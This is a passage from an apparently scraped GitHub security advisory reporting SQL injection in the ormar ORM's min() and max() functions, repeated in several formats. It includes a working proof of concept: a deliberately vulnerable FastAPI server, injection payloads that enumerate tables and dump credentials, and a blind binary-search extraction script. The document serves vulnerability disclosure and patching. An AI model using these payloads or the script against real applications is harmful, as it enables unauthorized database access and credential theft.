(unchanged)</li>\n<li><code>AdminUser</code> — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API</li>\n</ul>\n<p>The vulnerable endpoint:</p>\n<pre><code class=\"language-python\"># Added endpoint: aggregate statistics (VULNERABLE)\n# This is a common and natural pattern — letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[&quot;year&quot;])\n# See: &lt;https://collerek.github.io/ormar/queries/aggregations/&gt;\n\n@app.get(&quot;/items/stats&quot;)\nasync def item_stats(\n    metric: str = Query(&quot;max&quot;, description=&quot;max or min&quot;),\n    column: str = Query(&quot;price&quot;, description=&quot;Column to aggregate&quot;),\n):\n    &quot;&quot;&quot;Return aggregate statistics for items.&quot;&quot;&quot;\n    if metric == &quot;max&quot;:\n        result = await Item.objects.max(column)\n    elif metric == &quot;min&quot;:\n        result = await Item.objects.min(column)\n    else:\n        return {&quot;error&quot;: &quot;Unsupported metric&quot;}\n    return {&quot;metric&quot;: metric, &quot;column&quot;: column, &quot;result&quot;: result}\n</code></pre>\n<p>The database contains:</p>\n\nTable | Data\n-- | --\ncategories | Electronics\nitems | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99)\nadmin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod\n  | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci\n\n\n<p>The <code>admin_users</code> table is <strong>NOT</strong> exposed via any API endpoint.</p>\n<h2>The attack steps</h2>\n<p>The PoC requires two terminals:</p>\n<p><strong>Terminal 1</strong> — Start the vulnerable server:</p>\n<pre><code class=\"language-bash\">python poc_server.py\n</code></pre>\n<p><strong>Terminal 2</strong> — Run the attacker script:</p>\n<pre><code class=\"language-bash\">python poc_attacker.py\n</code></pre>\n<p>The attacker script (<code>poc_attacker.py</code>) sends HTTP requests to the running server. It has <strong>NO prior knowledge</strong> of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single <code>/items/stats</code> endpoint.</p>\n<h2>Principle of vulnerability exploitation</h2>\n<h3>1. The attacker confirms injection by sending an arithmetic expression</h3>\n<p>The attacker sends <code>GET /items/stats?metric=max&amp;column=1+1</code>. The data flow is:</p>\n<pre><code>HTTP request: GET /items/stats?metric=max&amp;column=1+1\n    ↓\nitem_stats(metric=&quot;max&quot;, column=&quot;1+1&quot;)                # poc_server.py\n    ↓\nItem.objects.max(&quot;1+1&quot;)                                # queryset.py:721\n    ↓\n_query_aggr_function(func_name=&quot;max&quot;, columns=[&quot;1+1&quot;]) # queryset.py:704\n    ↓\nSelectAction(select_str=&quot;1+1&quot;, model_cls=Item)          # select_action.py:22\n    ↓\n_split_value_into_parts(&quot;1+1&quot;)  →  self.field_name = &quot;1+1&quot;\n    ↓\n# min/max skip the is_numeric check (line 709 only checks sum/avg)\n    ↓\nget_text_clause()  →  sqlalchemy.text(&quot;1+1&quot;)            # select_action.py:43\n    ↓\napply_func(sqlalchemy.func.max)  →  max(1+1)\n</code></pre>\n<p>Generated SQL:</p>\n<pre><code class=\"language-sql\">SELECT max(1+1) AS &quot;1+1&quot;\nFROM (SELECT items.id AS id, items.name AS name, items.price AS price,\n             items.category AS category\n      FROM items) AS subquery_for_max\n</code></pre>\n<p>The API returns <code>{&quot;metric&quot;:&quot;max&quot;,&quot;column&quot;:&quot;1+1&quot;,&quot;result&quot;:2}</code>, confirming that the arithmetic expression was evaluated as SQL.</p>\n<h3>2. The attacker enumerates database tables</h3>\n<p>The attacker injects a subquery to read <code>sqlite_master</code>:</p>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\n</code></pre>\n<p>Which internally calls:</p>\n<pre><code class=\"language-python\">await Item.objects.max(\n    &quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')&quot;\n)\n</code></pre>\n<p>Generated SQL:</p>\n<pre><code class=\"language-sql\">SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))\n       AS &quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')&quot;\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n</code></pre>\n<p>The API returns <code>categories,admin_users,items</code>, revealing the hidden <code>admin_users</code> table.</p>\n<h3>3. The attacker extracts the schema of the target table</h3>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT sql FROM sqlite_master WHERE name='admin_users')\n</code></pre>\n<p>The API returns the full <code>CREATE TABLE</code> statement, revealing column names: <code>username</code>, <code>password</code>, <code>api_key</code>.</p>\n<h3>4. The attacker dumps all credentials in a single query</h3>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)\n</code></pre>\n<p>Generated SQL:</p>\n<pre><code class=\"language-sql\">SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))\n            FROM admin_users))\n       AS &quot;...&quot;\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n</code></pre>\n<p>The API returns all credentials:</p>\n<pre><code>root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod\ndeploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci\n</code></pre>\n<h3>5. Blind boolean-based extraction (when results are not directly visible)</h3>\n<p>Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:</p>\n<pre><code>GET /items/stats?metric=max&amp;column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))&gt;83 THEN 1 ELSE 0 END\n</code></pre>\n<p>Which internally calls:</p>\n<pre><code class=\"language-python\"># &quot;Is the Nth character of root's password greater than ASCII code M?&quot;\nawait Item.objects.max(\n    &quot;CASE WHEN UNICODE(SUBSTR(&quot;\n    &quot;(SELECT password FROM admin_users WHERE username='root'),1,1))&gt;83 &quot;\n    &quot;THEN 1 ELSE 0 END&quot;\n)\n# Returns 0 → first character is 'S' (ASCII 83)\n</code></pre>\n<p>By iterating over each position with binary search, the full password <code>Sup3r$ecretP@ss!</code> is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).</p>\n<h3>6. The attacker extracts the production API key</h3>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT api_key FROM admin_users WHERE username='root')\n</code></pre>\n<p>The API returns: <code>ak-9f8e7d6c5b4a3210-prod</code></p>\n<p>All data was extracted through a single public API endpoint using only unauthenticated GET requests.</p>\n<!-- notionvc: b3e8123b-0876-4c76-94f6-2281c6cbb3f0 -->## Start the vulnerable application\n\n1. Install dependencies:\n\n```bash\npip install ormar databases aiosqlite fastapi uvicorn httpx\n```\n\n1. The vulnerable server (`poc_server.py`) is based on the **official ormar FastAPI example** ([[ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a `/items/stats` endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.\n\nThe server defines three models:\n\n- `Category` and `Item` — from the official ormar example (unchanged)\n- `AdminUser` — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API\n\nThe vulnerable endpoint:\n\n```python\n# Added endpoint: aggregate statistics (VULNERABLE)\n# This is a common and natural pattern — letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[\"year\"])\n# See: <https://collerek.github.io/ormar/queries/aggregations/>\n\n@app.get(\"/items/stats\")\nasync def item_stats(\n    metric: str = Query(\"max\", description=\"max or min\"),\n    column: str = Query(\"price\", description=\"Column to aggregate\"),\n):\n    \"\"\"Return aggregate statistics for items.\"\"\"\n    if metric == \"max\":\n        result = await Item.objects.max(column)\n    elif metric == \"min\":\n        result = await Item.objects.min(column)\n    else:\n        return {\"error\": \"Unsupported metric\"}\n    return {\"metric\": metric, \"column\": column, \"result\": result}\n```\n\nThe database contains:\n\n| Table | Data |\n| --- | --- |\n| `categories` | Electronics |\n| `items` | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |\n| `admin_users` | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |\n|  | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |\n\nThe `admin_users` table is **NOT** exposed via any API endpoint.\n\n## The attack steps\n\nThe PoC requires two terminals:\n\n**Terminal 1** — Start the vulnerable server:\n\n```bash\npython poc_server.py\n```\n\n**Terminal 2** — Run the attacker script:\n\n```bash\npython poc_attacker.py\n```\n\nThe attacker script (`poc_attacker.py`) sends HTTP requests to the running server. It has **NO prior knowledge** of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single `/items/stats` endpoint.\n\n## Principle of vulnerability exploitation\n\n### 1. The attacker confirms injection by sending an arithmetic expression\n\nThe attacker sends `GET /items/stats?metric=max&column=1+1`. The data flow is:\n\n```\nHTTP request: GET /items/stats?metric=max&column=1+1\n    ↓\nitem_stats(metric=\"max\", column=\"1+1\")                # poc_server.py\n    ↓\nItem.objects.max(\"1+1\")                                # queryset.py:721\n    ↓\n_query_aggr_function(func_name=\"max\", columns=[\"1+1\"]) # queryset.py:704\n    ↓\nSelectAction(select_str=\"1+1\", model_cls=Item)          # select_action.py:22\n    ↓\n_split_value_into_parts(\"1+1\")  →  self.field_name = \"1+1\"\n    ↓\n# min/max skip the is_numeric check (line 709 only checks sum/avg)\n    ↓\nget_text_clause()  →  sqlalchemy.text(\"1+1\")            # select_action.py:43\n    ↓\napply_func(sqlalchemy.func.max)  →  max(1+1)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max(1+1) AS \"1+1\"\nFROM (SELECT items.id AS id, items.name AS name, items.price AS price,\n             items.category AS category\n      FROM items) AS subquery_for_max\n```\n\nThe API returns `{\"metric\":\"max\",\"column\":\"1+1\",\"result\":2}`, confirming that the arithmetic expression was evaluated as SQL.\n\n### 2. The attacker enumerates database tables\n\nThe attacker injects a subquery to read `sqlite_master`:\n\n```\nGET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\n```\n\nWhich internally calls:\n\n```python\nawait Item.objects.max(\n    \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\"\n)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))\n       AS \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\"\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n```\n\nThe API returns `categories,admin_users,items`, revealing the hidden `admin_users` table.\n\n### 3. The attacker extracts the schema of the target table\n\n```\nGET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')\n```\n\nThe API returns the full `CREATE TABLE` statement, revealing column names: `username`, `password`, `api_key`.\n\n### 4. The attacker dumps all credentials in a single query\n\n```\nGET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))\n            FROM admin_users))\n       AS \"...\"\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n```\n\nThe API returns all credentials:\n\n```\nroot | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod\ndeploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci\n```\n\n### 5. Blind boolean-based extraction (when results are not directly visible)\n\nEven if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:\n\n```\nGET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END\n```\n\nWhich internally calls:\n\n```python\n# \"Is the Nth character of root's password greater than ASCII code M?\"\nawait Item.objects.max(\n    \"CASE WHEN UNICODE(SUBSTR(\"\n    \"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 \"\n    \"THEN 1 ELSE 0 END\"\n)\n# Returns 0 → first character is 'S' (ASCII 83)\n```\n\nBy iterating over each position with binary search, the full password `Sup3r$ecretP@ss!` is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).\n\n### 6. The attacker extracts the production API key\n\n```\nGET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')\n```\n\nThe API returns: `ak-9f8e7d6c5b4a3210-prod`\n\nAll data was extracted through a single public API endpoint using only unauthenticated GET requests.\n## The complete POC\n\n### poc_server.py (Vulnerable Server)\n\nBased on the official ormar FastAPI example ([[fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)):\n\n```python\n\"\"\"\nCVE PoC — Vulnerable Server\n=============================\nBased on the OFFICIAL ormar FastAPI example:\n    <https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py>\n\nThe only modification is the addition of a /items/stats endpoint (line 63-76),\nwhich is a common pattern for any application that provides aggregate statistics.\n\nUsage:\n    python poc_server.py\n\"\"\"\n\n# ── Original official example code (unchanged) ───────────────\n# Source: ormar/examples/fastapi_quick_start.py\n\nfrom contextlib import asynccontextmanager\nfrom typing import List, Optional\n\nimport databases\nimport ormar\nimport sqlalchemy\nimport uvicorn\nfrom fastapi import FastAPI, Query\n\nDATABASE_URL = \"sqlite:///poc_vuln.db\"\n\normar_base_config = ormar.OrmarConfig(\n    database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData()\n)\n\nclass Category(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"categories\")\n\n    id: int = ormar.Integer(primary_key=True)\n    name: str = ormar.String(max_length=100)\n\nclass Item(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"items\")\n\n    id: int = ormar.Integer(primary_key=True)\n    name: str = ormar.String(max_length=100)\n    price: float = ormar.Float(default=0)\n    category: Optional[Category] = ormar.ForeignKey(Category, nullable=True)\n\n# This table simulates internal data that should NOT be accessible\n# through the public API — e.g. an admin_users table in the same database.\nclass AdminUser(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"admin_users\")\n\n    id: int = ormar.Integer(primary_key=True)\n    username: str = ormar.String(max_length=100)\n    password: str = ormar.String(max_length=200)\n    api_key: str = ormar.String(max_length=200)\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n    database_ = ormar_base_config.database\n    if not database_.is_connected:\n        await database_.connect()\n\n    # Create tables\n    engine = sqlalchemy.create_engine(DATABASE_URL)\n    ormar_base_config.metadata.create_all(engine)\n    engine.dispose()\n\n    # Seed sample data\n    if not await Item.objects.count():\n        cat = await Category.objects.create(name=\"Electronics\")\n        await Item.objects.create(name=\"Laptop\", price=999.99, category=cat)\n        await Item.objects.create(name=\"Phone\", price=699.99, category=cat)\n        await Item.objects.create(name=\"Tablet\", price=449.99, category=cat)\n        await Item.objects.create(name=\"Monitor\", price=329.99, category=cat)\n\n    if not await AdminUser.objects.count():\n        await AdminUser.objects.create(\n            username=\"root\",\n            password=\"Sup3r$ecretP@ss!\",\n            api_key=\"ak-9f8e7d6c5b4a3210-prod\",\n        )\n        await AdminUser.objects.create(\n            username=\"deploy-bot\",\n            password=\"ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi\",\n            api_key=\"ak-1a2b3c4d5e6f7890-ci\",\n        )\n\n    print(\"\\\\n  [Server] Ready. Database seeded with items + admin_users.\")\n    print(\"  [Server] The admin_users table is NOT exposed via any API endpoint.\\\\n\")\n\n    yield\n\n    if database_.is_connected:\n        await database_.disconnect()\n\napp = FastAPI(\n    title=\"Item Catalog API\",\n    description=\"Based on official ormar FastAPI example\",\n    lifespan=lifespan,\n)\n\n# ── Original endpoints from official example (unchanged) ──────\n\n@app.get(\"/items/\", response_model=List[Item])\nasync def get_items():\n    items = await Item.objects.select_related(\"category\").all()\n    return items\n\n@app.post(\"/items/\", response_model=Item)\nasync def create_item(item: Item):\n    await item.save()\n    return item\n\n@app.post(\"/categories/\", response_model=Category)\nasync def create_category(category: Category):\n    await category.save()\n    return category\n\n@app.put(\"/items/{item_id}\")\nasync def get_item(item_id: int, item: Item):\n    item_db = await Item.objects.get(pk=item_id)\n    return await item_db.update(**item.model_dump())\n\n@app.delete(\"/items/{item_id}\")\nasync def delete_item(item_id: int, item: Item = None):\n    if item:\n        return {\"deleted_rows\": await item.delete()}\n    item_db = await Item.objects.get(pk=item_id)\n    return {\"deleted_rows\": await item_db.delete()}\n\n# ── Added endpoint: aggregate statistics (VULNERABLE) ─────────\n# This is a common and natural pattern — letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[\"year\"])\n# See: <https://collerek.github.io/ormar/queries/aggregations/>\n\n@app.get(\"/items/stats\")\nasync def item_stats(\n    metric: str = Query(\"max\", description=\"max or min\"),\n    column: str = Query(\"price\", description=\"Column to aggregate\"),\n):\n    \"\"\"Return aggregate statistics for items.\"\"\"\n    if metric == \"max\":\n        result = await Item.objects.max(column)\n    elif metric == \"min\":\n        result = await Item.objects.min(column)\n    else:\n        return {\"error\": \"Unsupported metric\"}\n    return {\"metric\": metric, \"column\": column, \"result\": result}\n\n@app.get(\"/health\")\nasync def health():\n    return {\"status\": \"ok\"}\n\n# ── Main ──────────────────────────────────────────────────────\nif __name__ == \"__main__\":\n    import os\n    # Clean previous database for reproducibility\n    if os.path.exists(\"poc_vuln.db\"):\n        os.unlink(\"poc_vuln.db\")\n    print(\"=\" * 60)\n    print(\"  CVE PoC — Vulnerable Server\")\n    print(\"  Based on: ormar/examples/fastapi_quick_start.py\")\n    print(\"  Added:    GET /items/stats?metric=max&column=<input>\")\n    print(\"  Docs:     <http://127.0.0.1:8000/docs>\")\n    print(\"=\" * 60)\n    uvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\n```\n\n### poc_attacker.py (Attacker Script)\n\n```python\n\"\"\"\nCVE PoC — Attacker Script\n===========================\nExploits the SQL injection in /items/stats endpoint.\nSends HTTP requests to the running FastAPI server.\n\nPrerequisites:\n    1. Start the server first:  python poc_server.py\n    2. Then run this script:    python poc_attacker.py\n\nThe attacker has NO prior knowledge of the database schema.\nAll information is discovered through the injection.\n\"\"\"\n\nimport sys\nimport httpx\n\nTARGET = \"<http://127.0.0.1:8000>\"\nENDPOINT = \"/items/stats\"\n\ndef inject(payload: str) -> str:\n    \"\"\"Send a single injection payload via the public API.\"\"\"\n    resp = httpx.get(TARGET + ENDPOINT, params={\"metric\": \"max\", \"column\": payload})\n    data = resp.json()\n    return data.get(\"result\")\n\ndef main():\n    # ── Pre-check ─────────────────────────────────────────────\n    try:\n        r = httpx.get(TARGET + \"/health\", timeout=3)\n        if r.status_code != 200:\n            sys.exit(1)\n    except httpx.ConnectError:\n        print(f\"Cannot connect to {TARGET}\")\n        print(f\"Start the server first: python poc_server.py\")\n        sys.exit(1)\n\n    # ── Stage 0: Legitimate request ──────────────────────────\n    result = inject(\"price\")\n    print(f\"[Stage 0] Normal usage: max(price) = {result}\")\n\n    # ── Stage 1: Confirm injection ────────────────────────────\n    result = inject(\"1+1\")\n    print(f\"[Stage 1] max('1+1') = {result}\")\n    if result == 2:\n        print(\"  → SQL INJECTION CONFIRMED\")\n\n    # ── Stage 2: Enumerate tables ─────────────────────────────\n    payload = \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\"\n    result = inject(payload)\n    tables = str(result).split(\",\") if result else []\n    print(f\"[Stage 2] Tables: {result}\")\n\n    # ── Stage 3: Extract schema ───────────────────────────────\n    target_table = [t for t in tables if \"admin\" in t.lower()]\n    target_table = target_table[0] if target_table else tables[-1]\n    payload = f\"(SELECT sql FROM sqlite_master WHERE name='{target_table}')\"\n    result = inject(payload)\n    print(f\"[Stage 3] Schema of {target_table}: {result}\")\n\n    # ── Stage 4: Dump all credentials ─────────────────────────\n    payload = (\n        f\"(SELECT GROUP_CONCAT(\"\n        f\"username || ' | ' || password || ' | ' || api_key, CHAR(10))\"\n        f\" FROM {target_table})\"\n    )\n    result = inject(payload)\n    print(f\"[Stage 4] Credentials:\\\\n{result}\")\n\n    # ── Stage 5: Blind extraction ─────────────────────────────\n    payload = f\"LENGTH((SELECT password FROM {target_table} WHERE username='root'))\"\n    pw_len = int(inject(payload))\n    extracted = \"\"\n    request_count = 0\n    for pos in range(1, pw_len + 1):\n        low, high = 32, 126\n        while low <= high:\n            mid = (low + high) // 2\n            payload = (\n                f\"CASE WHEN UNICODE(SUBSTR(\"\n                f\"(SELECT password FROM {target_table} \"\n                f\"WHERE username='root'),{pos},1))>{mid} \"\n                f\"THEN 1 ELSE 0 END\"\n            )\n            result = inject(payload)\n            request_count += 1\n            if result == 1:\n                low = mid + 1\n            else:\n                high = mid - 1\n        extracted += chr(low)\n        sys.stdout.write(f\"\\\\r[Stage 5] Extracting: {extracted}\")\n        sys.stdout.flush()\n    print(f\"\\\\n[Stage 5] Password extracted: {extracted} ({request_count} requests)\")\n\n    # ── Stage 6: Steal API key ────────────────────────────────\n    payload = f\"(SELECT api_key FROM {target_table} WHERE username='root')\"\n    result = inject(payload)\n    print(f\"[Stage 6] Production API key: {result}\")\n\n    print(f\"\\\\nTotal HTTP requests: {request_count + 6}\")\n    print(\"All data extracted through a single public API endpoint.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Vulnerability Impact\n\nThis attack allows an unauthenticated user to read the entire database contents. Any API endpoint that passes user-controlled input to `Model.objects.min()` or `Model.objects.max()` becomes a full SQL injection entry point.\n\nThe attack is confirmed to work with the following database backends:\n\n- SQLite (via aiosqlite)\n- PostgreSQL (via asyncpg) — subquery syntax is identical\n- MySQL (via aiomysql) — subquery syntax is compatible\n\n**Realistic attack scenarios include:**\n\n- **REST APIs** with user-selectable aggregate fields: `GET /items/stats?column=<input>`\n- **GraphQL resolvers** that accept field names as arguments\n- **Dynamic report generators** where users select columns for aggregation\n\nThe vulnerable server in this PoC is based on the **official ormar FastAPI example**, demonstrating that the vulnerability is easily triggered through natural, documented API design patterns. The ormar documentation itself shows this exact usage pattern: `await Book.objects.max(columns=[\"year\"])` ([[ormar aggregations docs](https://collerek.github.io/ormar/queries/aggregations/)](https://collerek.github.io/ormar/queries/aggregations/)).\n\n## Display of attack results\nTerminal 1 — Start server:\n![image](https://github.com/user-attachments/assets/4c8b4a20-75da-4aba-b649-f818e46165dd)\nTerminal 2 — Run attacker:\n<img width=\"2004\" height=\"1478\" alt=\"image (1)\" src=\"https://github.com/user-attachments/assets/ae41657b-2730-4fab-ac01-e79acd267bde\" />\n<img width=\"1984\" height=\"1500\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/cbe0d652-d4d4-458c-998b-e636d6c362a1\" />",
                    "title": "github - https://github.com/advisories/GHSA-xxh2-68g9-8jqr"
                },
                {
                    "category": "description",
                    "text": "# Report of SQL Injection Vulnerability in Ormar ORM\n\n## A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions.\n\n## Brief description\n\nWhen performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter.\n\n## Affected versions\n\n```\n0.9.9 - 0.12.2\n0.20.0b1 - 0.22.0 (latest)\n```\n\nThe vulnerable `SelectAction.get_text_clause()` method and the `min()`/`max()` aggregate functions were introduced together in commit `ff9d412` (March 12, 2021) and first released in version **0.9.9**. The vulnerable code has never been modified since — `get_text_clause()` is identical in every subsequent version through the latest **0.21.0**.\n\nVersions prior to 0.9.9 do not contain the `min()`/`max()` aggregate feature and are not affected.\n\nThe following uses the latest ormar 0.21.0 as an example to illustrate the attack.\n\n## Vulnerability details\n\nWhen performing an aggregate query, the `QuerySet.max()` method (line 721, `queryset.py`) passes user input to `_query_aggr_function()`. This method creates a `SelectAction` object for each column name. The column string is split by `__` and the last part becomes `self.field_name` — with no validation against the model's actual fields.\n\nThe critical vulnerability is in `SelectAction.get_text_clause()` (line 41-43, `select_action.py`), which directly passes `self.field_name` into `sqlalchemy.text()`:\n\n```python\n#select_action.py line 41-43\ndef get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:\n    alias = f\"{self.table_prefix}_\" if self.table_prefix else \"\"\n    return sqlalchemy.text(f\"{alias}{self.field_name}\")  # unsanitised user input!\n```\n\nThe `apply_func()` method then wraps this raw text clause inside `func.max()`, producing SQL like `max(<attacker_input>)`. Since `sqlalchemy.text()` treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.\n\nThe `_query_aggr_function()` method (line 704-719, `queryset.py`) only validates field types for `sum` and `avg`, leaving `min` and `max` completely unprotected:\n\n```python\n#queryset.py line 704-719\nasync def _query_aggr_function(self, func_name: str, columns: List) -> Any:\n    func = getattr(sqlalchemy.func, func_name)\n    select_actions = [\n        SelectAction(select_str=column, model_cls=self.model) for column in columns\n    ]\n    if func_name in [\"sum\", \"avg\"]:          # <-- only sum/avg are checked!\n        if any(not x.is_numeric for x in select_actions):\n            raise QueryDefinitionError(...)\n    select_columns = [x.apply_func(func, use_label=True) for x in select_actions]\n    expr = self.build_select_expression().alias(f\"subquery_for_{func_name}\")\n    expr = sqlalchemy.select(*select_columns).select_from(expr)\n    result = await self.database.fetch_one(expr)\n    return dict(result) if len(result) > 1 else result[0]\n```\n\nTo reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.\n\nNote: The PoC consists of two files provided in the attachments — `poc_server.py` (the vulnerable server) and `poc_attacker.py` (the HTTP-based attacker script).\n<h2>Start the vulnerable application</h2>\n<ol>\n<li>Install dependencies:</li>\n</ol>\n<pre><code class=\"language-bash\">pip install ormar databases aiosqlite fastapi uvicorn httpx\n</code></pre>\n<ol>\n<li>The vulnerable server (<code>poc_server.py</code>) is based on the <strong>official ormar FastAPI example</strong> (<a href=\"https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py\">ormar/examples/fastapi_quick_start.py</a>). The only modification is the addition of a <code>/items/stats</code> endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.</li>\n</ol>\n<p>The server defines three models:</p>\n<ul>\n<li><code>Category</code> and <code>Item</code> — from the official ormar example (unchanged)</li>\n<li><code>AdminUser</code> — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API</li>\n</ul>\n<p>The vulnerable endpoint:</p>\n<pre><code class=\"language-python\"># Added endpoint: aggregate statistics (VULNERABLE)\n# This is a common and natural pattern — letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[&quot;year&quot;])\n# See: &lt;https://collerek.github.io/ormar/queries/aggregations/&gt;\n\n@app.get(&quot;/items/stats&quot;)\nasync def item_stats(\n    metric: str = Query(&quot;max&quot;, description=&quot;max or min&quot;),\n    column: str = Query(&quot;price&quot;, description=&quot;Column to aggregate&quot;),\n):\n    &quot;&quot;&quot;Return aggregate statistics for items.&quot;&quot;&quot;\n    if metric == &quot;max&quot;:\n        result = await Item.objects.max(column)\n    elif metric == &quot;min&quot;:\n        result = await Item.objects.min(column)\n    else:\n        return {&quot;error&quot;: &quot;Unsupported metric&quot;}\n    return {&quot;metric&quot;: metric, &quot;column&quot;: column, &quot;result&quot;: result}\n</code></pre>\n<p>The database contains:</p>\n\nTable | Data\n-- | --\ncategories | Electronics\nitems | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99)\nadmin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod\n  | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci\n\n\n<p>The <code>admin_users</code> table is <strong>NOT</strong> exposed via any API endpoint.</p>\n<h2>The attack steps</h2>\n<p>The PoC requires two terminals:</p>\n<p><strong>Terminal 1</strong> — Start the vulnerable server:</p>\n<pre><code class=\"language-bash\">python poc_server.py\n</code></pre>\n<p><strong>Terminal 2</strong> — Run the attacker script:</p>\n<pre><code class=\"language-bash\">python poc_attacker.py\n</code></pre>\n<p>The attacker script (<code>poc_attacker.py</code>) sends HTTP requests to the running server. It has <strong>NO prior knowledge</strong> of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single <code>/items/stats</code> endpoint.</p>\n<h2>Principle of vulnerability exploitation</h2>\n<h3>1. The attacker confirms injection by sending an arithmetic expression</h3>\n<p>The attacker sends <code>GET /items/stats?metric=max&amp;column=1+1</code>. The data flow is:</p>\n<pre><code>HTTP request: GET /items/stats?metric=max&amp;column=1+1\n    ↓\nitem_stats(metric=&quot;max&quot;, column=&quot;1+1&quot;)                # poc_server.py\n    ↓\nItem.objects.max(&quot;1+1&quot;)                                # queryset.py:721\n    ↓\n_query_aggr_function(func_name=&quot;max&quot;, 